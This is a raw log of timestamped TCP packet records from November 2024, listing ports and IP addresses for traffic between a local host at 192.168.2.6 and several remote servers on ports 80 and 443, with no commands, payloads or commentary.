Nov 22, 2024 14:44:01.714710951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.714740038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.714781046 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.715712070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.715763092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.715818882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.715859890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.716813087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.716862917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.716872931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.716912031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.717921972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.717968941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.717973948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:01.718014002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:01.811934948 CET	443	49920	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.814723969 CET	443	49920	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.814944029 CET	49920	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.815507889 CET	49920	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.815520048 CET	443	49920	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.904478073 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.904495001 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.904548883 CET	49921	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.904562950 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.907876968 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.907927990 CET	49921	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.922988892 CET	49921	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:44:01.923002958 CET	443	49921	13.107.246.40	192.168.2.6
Nov 22, 2024 14:44:01.960424900 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:01.964133978 CET	49923	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:01.964148998 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:01.964508057 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:01.965078115 CET	49923	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:01.965140104 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:01.965702057 CET	49923	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:02.007334948 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:02.307385921 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.308049917 CET	49922	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.308069944 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.308686972 CET	49922	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.308693886 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.402256012 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.402818918 CET	49924	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.402842999 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.403383017 CET	49924	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.403390884 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.408216953 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:02.408293962 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:02.408437967 CET	49923	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:02.408642054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:02.408700943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:02.408958912 CET	49923	443	192.168.2.6	18.164.116.57
Nov 22, 2024 14:44:02.408984900 CET	443	49923	18.164.116.57	192.168.2.6
Nov 22, 2024 14:44:02.426744938 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.427297115 CET	49925	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.427323103 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.427757978 CET	49925	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.427762985 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.710007906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:02.820758104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:02.820770025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:02.822804928 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:02.823483944 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:02.823499918 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:02.823872089 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:02.824054003 CET	443	49926	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.824541092 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:02.824601889 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:02.825411081 CET	49926	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.825424910 CET	443	49926	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.826040983 CET	49926	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.826045990 CET	443	49926	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.826076984 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.826149940 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.826401949 CET	49922	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.826904058 CET	49922	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.826904058 CET	49922	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.826916933 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.826925039 CET	443	49922	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.827224016 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.827873945 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:02.828891993 CET	49927	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.828921080 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.829416037 CET	49927	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.829421997 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.830869913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:02.843591928 CET	49930	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.843626022 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.843832016 CET	49930	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.845582008 CET	49930	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:02.845597982 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:02.849124908 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.849152088 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:02.849226952 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.849689960 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.849705935 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:02.850778103 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.850789070 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:02.850863934 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.851217985 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.851229906 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:02.854595900 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.854610920 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:02.855230093 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.855499983 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:02.855514050 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:02.875328064 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:03.338587046 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.338825941 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.338999033 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.339056969 CET	49924	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.339188099 CET	49924	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.339198112 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.339209080 CET	49924	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.339215040 CET	443	49924	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.339447021 CET	443	49926	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.339509010 CET	443	49926	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.339517117 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.339581966 CET	49926	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.339585066 CET	49925	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.340503931 CET	49926	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.340508938 CET	443	49926	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.341355085 CET	49925	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.341368914 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.341379881 CET	49925	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.341384888 CET	443	49925	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.343817949 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.343828917 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.343888044 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.343944073 CET	49935	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.343970060 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.344022036 CET	49935	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.344198942 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.344213009 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.344752073 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.344779015 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.344799042 CET	49935	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.344813108 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.344872952 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.345202923 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.345215082 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.530488014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:03.530587912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:03.538557053 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.541915894 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.541986942 CET	49927	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.542126894 CET	49927	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.542139053 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.542151928 CET	49927	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.542157888 CET	443	49927	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.545686960 CET	49937	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.545707941 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.545797110 CET	49937	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.546013117 CET	49937	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:03.546027899 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:03.563806057 CET	49938	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:03.563832998 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:03.563934088 CET	49938	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:03.564853907 CET	49938	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:03.564867020 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:03.588485003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:03.642153978 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:03.642189980 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:03.642270088 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:03.642283916 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:03.642293930 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:03.642349005 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:03.643162966 CET	49928	443	192.168.2.6	23.101.168.44
Nov 22, 2024 14:44:03.643177986 CET	443	49928	23.101.168.44	192.168.2.6
Nov 22, 2024 14:44:03.708739042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:04.044882059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:04.044969082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:04.045347929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:04.045433998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:04.048350096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:04.168184042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:04.400549889 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.400567055 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.421096087 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.447853088 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.453790903 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.472660065 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.481940031 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.481950998 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.482477903 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.502173901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:04.504076958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:04.537578106 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.558895111 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.558907032 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.559066057 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.559082031 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.559477091 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.560267925 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.560281992 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.560364962 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.563153028 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.563308001 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.569715977 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.569803953 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.570207119 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.570280075 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.572283983 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.572348118 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.573158026 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.573167086 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.615716934 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:04.619330883 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.619338989 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:04.663989067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:44:04.783767939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:44:04.921273947 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:04.921962023 CET	49930	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:04.921979904 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:04.922554016 CET	49930	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:04.922561884 CET	443	49930	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.013142109 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013174057 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013181925 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013200998 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013214111 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013221025 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013231993 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.013264894 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013278008 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013283014 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.013303995 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013312101 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013323069 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.013324976 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013344049 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.013355970 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013365984 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.013374090 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.013401985 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.026868105 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.026900053 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.026911020 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.026932955 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.026942015 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.026945114 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.026957989 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.026988029 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.027009010 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.027034044 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.082520008 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.083339930 CET	49935	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.083354950 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.083950996 CET	49935	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.083957911 CET	443	49935	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.128299952 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:05.128763914 CET	49938	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:05.128782034 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:05.129421949 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:05.129862070 CET	49938	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:05.129987001 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:05.130381107 CET	49938	443	192.168.2.6	20.110.205.119
Nov 22, 2024 14:44:05.159709930 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.159760952 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.159797907 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.159845114 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.159856081 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.159872055 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.159957886 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.160032034 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.160056114 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.160094976 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.160104990 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.160165071 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.160177946 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.170895100 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.171207905 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.171329021 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.171381950 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.175331116 CET	443	49938	20.110.205.119	192.168.2.6
Nov 22, 2024 14:44:05.176765919 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.177391052 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.177407980 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.177891016 CET	49934	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.177896023 CET	443	49934	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.191096067 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.191123962 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.191190004 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.191211939 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.191256046 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.197024107 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.197081089 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.217818975 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.217844009 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.217909098 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.217921019 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.217973948 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.218110085 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.218147039 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.218177080 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.218185902 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.218211889 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.218240023 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.239037037 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.239053965 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.239099979 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.239109993 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.239166021 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.300971031 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.301522017 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.301533937 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.302227974 CET	49936	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.302233934 CET	443	49936	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.326075077 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.326097012 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.326143980 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.326154947 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.326186895 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.326211929 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.331701994 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.331710100 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.331779003 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.331792116 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.331832886 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.336828947 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.337482929 CET	49937	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.337498903 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.338022947 CET	49937	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:44:05.338027954 CET	443	49937	13.107.246.63	192.168.2.6
Nov 22, 2024 14:44:05.340775013 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.340837955 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.345798016 CET	443	49932	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.345932007 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.345961094 CET	49932	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.360074043 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.360091925 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.360140085 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.360156059 CET	443	49933	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.360182047 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.360196114 CET	49933	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.364284992 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.364309072 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.364366055 CET	49931	443	192.168.2.6	104.117.182.73
Nov 22, 2024 14:44:05.364376068 CET	443	49931	104.117.182.73	192.168.2.6
Nov 22, 2024 14:44:05.364399910 CET	49931	443	192.168.2.6	104.117.182.73
